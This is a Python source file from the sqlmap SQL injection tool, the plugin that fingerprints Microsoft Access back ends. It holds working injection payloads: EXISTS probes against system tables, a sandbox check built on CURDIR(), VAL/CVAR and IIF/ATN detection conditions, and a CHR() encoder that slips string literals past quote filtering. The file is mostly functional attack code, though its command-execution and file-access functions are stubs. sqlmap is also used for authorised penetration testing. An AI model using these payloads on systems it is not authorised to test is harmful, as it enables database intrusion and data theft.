#!/usr/bin/env python """ $Id: oracle.py 1003 2010-01-02 02:02:12Z inquisb $ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2009 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ import re from lib.core.agent import agent from lib.core.common import formatDBMSfp from lib.core.common import formatFingerprint from lib.core.common import getHtmlErrorFp from lib.core.common import randomInt from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setDbms from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ACCESS_SYSTEM_DBS from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.enumeration import Enumeration from plugins.generic.filesystem import Filesystem from plugins.generic.fingerprint import Fingerprint from plugins.generic.misc import Miscellaneous from plugins.generic.takeover import Takeover class AccessMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Access methods """ def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS Enumeration.__init__(self, "Microsoft Access") Filesystem.__init__(self) Takeover.__init__(self) unescaper.setUnescape(AccessMap.unescape) @staticmethod def unescape(expression, quote=True): if quote: while True: index = expression.find("'") if index == -1: break firstIndex = index + 1 index = expression[firstIndex:].find("'") if index == -1: raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression lastIndex = firstIndex + index old = "'%s'" % expression[firstIndex:lastIndex] unescaped = "" for i in range(firstIndex, lastIndex): unescaped += "CHR(%d)" % (ord(expression[i])) if i < lastIndex - 1: unescaped += "&" expression = expression.replace(old, unescaped) else: unescaped = "".join("CHR(%d)&" % ord(c) for c in expression) if unescaped[-1] == "&": unescaped = unescaped[:-1] expression = unescaped return expression @staticmethod def escape(expression): while True: index = expression.find("CHR(") if index == -1: break firstIndex = index index = expression[firstIndex:].find(")") if index == -1: raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression lastIndex = firstIndex + index + 1 old = expression[firstIndex:lastIndex] oldUpper = old.upper() oldUpper = oldUpper.lstrip("CHR(").rstrip(")") oldUpper = oldUpper.split("&") escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) expression = expression.replace(old, escaped).replace("'&'", "") return expression def __sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None if kb.dbmsVersion and len(kb.dbmsVersion) > 0: if kb.dbmsVersion[0] in ("97", "2000"): table = "MSysAccessObjects" elif kb.dbmsVersion[0] in ("2002-2003", "2007"): table = "MSysAccessStorage" if table: query = agent.prefixQuery(" AND EXISTS(SELECT CURDIR() FROM %s)" % table) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) retVal = "not sandboxed" if result else "sandboxed" return retVal def __sysTablesCheck(self): infoMsg = "executing system table(s) existance fingerprint" logger.info(infoMsg) # Microsoft Access table reference updated on 01/2010 sysTables = { "97": ("MSysModules2", "MSysAccessObjects"), "2000" : ("!MSysModules2", "MSysAccessObjects"), "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs") } # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") for version, tables in sysTables.items(): exist = True for table in tables: negate = False if table[0] == '!': negate = True table = table[1:] randInt = randomInt() query = agent.prefixQuery(" AND EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt)) query = agent.postfixQuery(query) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if negate: result = not result exist &= result if not exist: break if exist: return version return None def getFingerprint(self): value = "" wsOsFp = formatFingerprint("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += "Microsoft Access" return value actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = formatDBMSfp([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = getHtmlErrorFp() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if conf.dbms in ACCESS_ALIASES: setDbms("Microsoft Access") if not conf.extensiveFp: return True logMsg = "testing Microsoft Access" logger.info(logMsg) payload = agent.fullPayload(" AND VAL(CVAR(1))=1") result = Request.queryPage(payload) if result: logMsg = "confirming Microsoft Access" logger.info(logMsg) payload = agent.fullPayload(" AND IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") result = Request.queryPage(payload) if not result: warnMsg = "the back-end DMBS is not Microsoft Access" logger.warn(warnMsg) return False setDbms("Microsoft Access") if not conf.extensiveFp: return True kb.dbmsVersion = [self.__sysTablesCheck()] return True else: warnMsg = "the back-end DMBS is not Microsoft Access" logger.warn(warnMsg) return False def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def readFile(self, rFile): errMsg = "on Microsoft Access it is not possible to read files" raise sqlmapUnsupportedFeatureException, errMsg def writeFile(self, wFile, dFile, fileType=None, confirm=True): errMsg = "on Microsoft Access it is not possible to write files" raise sqlmapUnsupportedFeatureException, errMsg def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise sqlmapUnsupportedFeatureException, errMsg def osShell(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise sqlmapUnsupportedFeatureException, errMsg def osPwn(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise sqlmapUnsupportedFeatureException, errMsg def osSmb(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise sqlmapUnsupportedFeatureException, errMsg def getBanner(self): errMsg = "on Microsoft Access it is not possible to get a banner" raise sqlmapUnsupportedFeatureException, errMsg